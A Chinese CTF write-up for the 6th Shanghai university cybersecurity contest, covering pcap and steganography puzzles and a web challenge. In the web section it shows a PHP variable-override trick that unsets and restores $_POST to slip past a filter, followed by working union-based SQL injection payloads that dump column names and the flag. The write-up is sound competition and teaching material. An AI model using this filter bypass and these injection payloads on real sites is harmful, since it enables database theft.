第六届上海市大学生网络安全大赛 | Wp
文章目录
- MISC
- 0x00:签到
- 0x01:pcap
- 0x02:pcap analysis
- 0x03: 可乐加冰
- Web
- 0x01:千毒网盘
MISC
0x00:签到
linux运行一下即可得到flag
0x01:pcap
提示:请分析附件中的dnp3协议
具体的协议介绍可以看师傅的博客
DNP3协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析DNP3所含功能码
工控安全入门(四)—— DNP3协议
一开始以为出题考察的是read,在找参数object,以及File Data
但协议中并未出现,后来问学长才知道一般考察这类工控题,基本都是以流量包的形式考察的因为有些环境没有办法在线上提供,考察的还是传统的ctf,只不过是换了工控协议
可以总结下flag、fl、f各种编码,把数据包的内容分长度不同进行查看,有的时候这类题目考察的就是眼力。
这道题的flag便隐藏在每个长度为91的dnp3
流量包中,按照顺序进行拼接即可
0x02:pcap analysis
这题上去也被秒了,就不用去看协议了,肯定还是把flag隐藏在流量包中,提示了让去看Modbus协议,直接过滤查看,打开第一个流量包即可看到flag
0x03: 可乐加冰
给了一个PNG照片,试了很多常见的隐写都没有发现线索,后来队里的qwzf拿到了一血,tql,复现一下,也学习学习。
binwalk分析一下,有zlib 之前都没怎么注意过,也可以看一下2018全国大学生信息安全竞赛 picture,也是考察zlib
5B.zilb和2AE96.zlib并没有什么异常
再来看看2AE96
有些奇怪,复制出来
内容不是十六进制,是十进制,写个简单的脚本转换一下
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:1emon
if __name__ == '__main__':data = ''with open("1.txt",'r',encoding='utf-8') as fp:strings = fp.read()lists = strings.split(' ')# print(list)for list in lists:data=data+chr(int(list))print(data)
S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$
翻之前的资料,发现和jjencode特别像,只不过含有S,把S替换成$再试一下
$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$
但发现解不了,查看了jjencode的作者提供的编码测试页,发现需要套上alert,它的格式是固定的
alert("")
alert('1emon')
知道规律了,把上面得到的内容复制进去即可,前后连接的+号不能忘
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\\\")"+"\"")())();
Web
0x01:千毒网盘
这个题有源码泄露
http://eci-2ze636qtsw50d6niueft.cloudeci1.ichunqiu.com/www.zip
在code.php文件中发现sql语句,做题的时候没有观察到index.php文件中的变量覆盖,一直以为是要绕过单引号,然后进行SQL注入得到flag。
这题路没走通只能去看index.php页面,发现
查了下发现和之前的一道CTF比较类似,考察的是变量覆盖
foreach(array_expression as $value) 遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步
foreach(array_expression as $key => $value) 除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key
本地测试一下:
第一层foreach
里,$__key
就是_GET, _POST, _COOKIE
,加上一个$
就变为$_GET, $_POST, $_COOKIE
<?php
foreach(array('_GET','_POST','_COOKIE') as $key){
echo "\$\$key<br>";
print_r($$key);
echo "<br>";
foreach($$key as $key_2 => $value_2) {echo "\$\$key_2<br>"; print_r($$key_2);echo "<br>";echo "\$value_2<br>";print_r($value_2);echo "<br>"; var_dump($$key_2==$value_2);echo "<br>"; }
}
第一次循环如果是以_GET传入的话,最终得到的结果是false,试试以_POST传入
unset($$__key2)
把$_POST
变量销毁了,所以就不会触发filter函数,因为还没进waf函数POST就被unset了
接下来继续执行
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
执行之后$_POST变量就又回来了,可以在本地测试一下
<?php
foreach(array('_GET', '_POST') as $key) {if($$key) { foreach($$key as $key_2 => $value_2) { if(isset($$key_2) && $$key_2 == $value_2) unset($$key_2); }}}
echo "before<br>";
echo "GET:<br>";
var_dump($_GET);
echo "<br>";
echo "POST:<br>";
var_dump($_POST);
echo "<br>";if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);echo "<br>";
echo "<br>";
echo "after<br>";
echo "POST:<br>";
var_dump($_POST);
执行extract()
之前,$_GET
数组的键名是_POST
,$_POST
数组则不存在,$_GET
数组的键名是_POST
,所以也就是导入了名为_POST
的变量,也就是$_POST
变量,所以$_POST
成功被还原
接下来测试一下payload,发现可以绕过去
使用联合查询注入方式看看,判断列数
?_POST[code]=114514' order by 4%23
DATA:
code=114514' order by 4%23
爆数据表
爆出字段值
?_POST[code]=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23
DATA:
code=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23
爆值
?_POST[code]=114514' and 0=1 union select 1,2,flag from flag%23
DATA:
code=114514' and 0=1 union select 1,2,flag from flag%23
第六届上海市大学生网络安全大赛 | Wp相关推荐
- 第六届上海市大学生网络安全大赛__千毒网盘
千毒网盘 复现题目,变量销毁和变量重置,sql注入(本地环境有点问题) 文章目录 千毒网盘 源码泄露 变量销毁和变量重置 sql注入 参考链接 源码泄露 源码泄露,找到www.zip,下载,里面有两个 ...
- “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup
文章目录 checkin project JumpJumpTiger where_can_find_code 题目附件请自取: 链接:https://pan.baidu.com/s/1T9nG-CDg ...
- 上海市大学生网络安全大赛题解
利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们.比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 w ...
- 第六届山东省大学生网络安全技能大赛决赛Writeup
0x00 RSA1 首先使用python脚本或者openssl解出n python脚本 from Crypto.PublicKey import RSA pub = RSA.importKey(ope ...
- 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘
根目录/www.zip有源码 index.php <html lang="en"> <head><meta charset="UTF-8&q ...
- 2019上海市大学生网络安全大赛部分web题解
前言 这周六有这个比赛,学到了一个骚姿势,在这里记录一下. easysql 题目是easysql,看到这个题目感觉问题不是这简单. 打开题目发现是一个未完成的页面,发现可能存在sql注入. 通过简单的 ...
- 物流设计大赛优秀作品_重磅!312支高校战队入围!谁主第六届全国大学生物流设计大赛复赛...
中国物流与采购联合会培训部通知如下: 各有关院校: "马钢杯"第六届全国大学生物流设计大赛的初赛评审工作已经结束. 本届大赛共有580支参赛队取得参赛资格.大赛得到马钢集团的大力支 ...
- 计算机科学素养大赛,第六届全国大学生计算机应用能力与信息素养大赛圆满结束...
原标题:第六届全国大学生计算机应用能力与信息素养大赛圆满结束 第六届全国大学生计算机应用能力与信息素养大赛圆满结束 经过了激烈角逐,第六届全国大学生计算机应用能力与信息素养大赛于2016年5月22日在 ...
- 天津计算机比赛,国际传媒学院学生在“‘中科曙光’杯第六届中国大学生计算机设计大赛天津市级赛”中屡创佳绩...
5月24日,2013年"中科曙光"杯第六届中国大学生计算机设计大赛天津市级赛在南开大学二主楼B105教室隆重开幕.南开大学.天津大学.天津师范大学.天津外国语大学.天津科技大学.天 ...
最新文章
- ACM-ICPC (10/19)
- 让pip使用国内镜像,解决下载速度慢的问题
- epoll_wait被signal信号中断时的处理
- boost::int64_t模块int64 范围的测试程序
- mysql返回#1114 – The table ‘xxxx’is full解决方法
- 04-老马jQuery教程-DOM节点操作及位置和大小
- python编写排列组合,密码生产功能
- 中国基座污水泵市场趋势报告、技术动态创新及市场预测
- 李彦宏谈无人车:高速上吃着火锅唱着歌,再有三五年能代替司机
- iOS微信分享在6plus上遇到一个坑
- gvim【一】【安装和基本使用】
- python爬取网页数据软件,有哪些不错的爬虫软件是可以免费爬取网页数据的?
- 广西事业单位职称免计算机,2020广西事业单位职业能力倾向测试知识:为什么没有计算器?...
- 【BDTC 2016】精准医疗和生物医药大数据论坛:探索医疗与大数据结合之路
- nuxt解决首屏加载慢问题_Vue首屏加载慢
- 吊炸天MyCat入门
- mysql truncated_mysql数据截断
- 数据库having的用法详细介绍
- 没钱不能创业,教写商业计划书
- python数分之PM2.5案例
热门文章
- appium java版本错误_升级Appium最新java-client 6.0.0包后-问题来了...
- 五、Hive数据类型和简单使用
- 四十三、Scrapy 爬取前程无忧51jobs
- php贝叶斯,php – 将单个概率与朴素贝叶斯垃圾邮件过滤相结合
- ​GPLinker:基于GlobalPointer的实体关系联合抽取
- 多模态中的Prompt范式:从CLIP、CoOp到CLIP-adapter
- 北京内推 | 地平线视觉算法团队招聘视觉算法实习生
- 征文通知 | 第十八届中国计算语言学大会(CCL 2019)论文提交截止时间推迟
- java6集合编程题
- 关于使用 ./ 执行sh文件报错-bash: ./startup.sh: /bin/sh^M: bad interpreter: No such file or directory